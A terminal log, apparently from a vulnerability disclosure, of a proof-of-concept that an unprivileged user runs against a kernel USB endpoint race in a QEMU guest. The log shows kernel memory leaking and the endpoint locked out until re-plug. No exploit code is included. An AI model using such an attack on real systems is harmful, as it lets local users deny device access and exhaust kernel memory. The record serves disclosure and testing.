$ ./df5287 3000            # read-side race, unprivileged user maxx (uid 1001)
                           # guest: fresh with-src boot, QEMU usb-mouse on EHCI,
                           # /dev/usb/0.2.1 = interrupt-IN endpoint node (0660)
iter 0
iter 100
... (output sampled every 100 iterations) ...
iter 2700
iter 2800
iter 2900
EIO after 2938 iterations (endpoint refcount_alloc exhausted by orphaned usb_xfers -- double-setup race won >= 61 times)
poc_rc=2

# vmstat -m before:  USB   16 allocs  19.8K    (mem_before.txt)
# vmstat -m after :  USB  331 allocs  1.10M    requests 2.95K  (mem_after.txt)

# immediate re-run after the endpoint lockout:
$ ./df5287 1
EIO after 0 iterations (endpoint refcount_alloc exhausted by orphaned usb_xfers -- double-setup race won >= 61 times)

# usbconfig -d 0.2 dump_info still reports a healthy device -- the
# endpoint is silently locked out for all drivers until re-plug.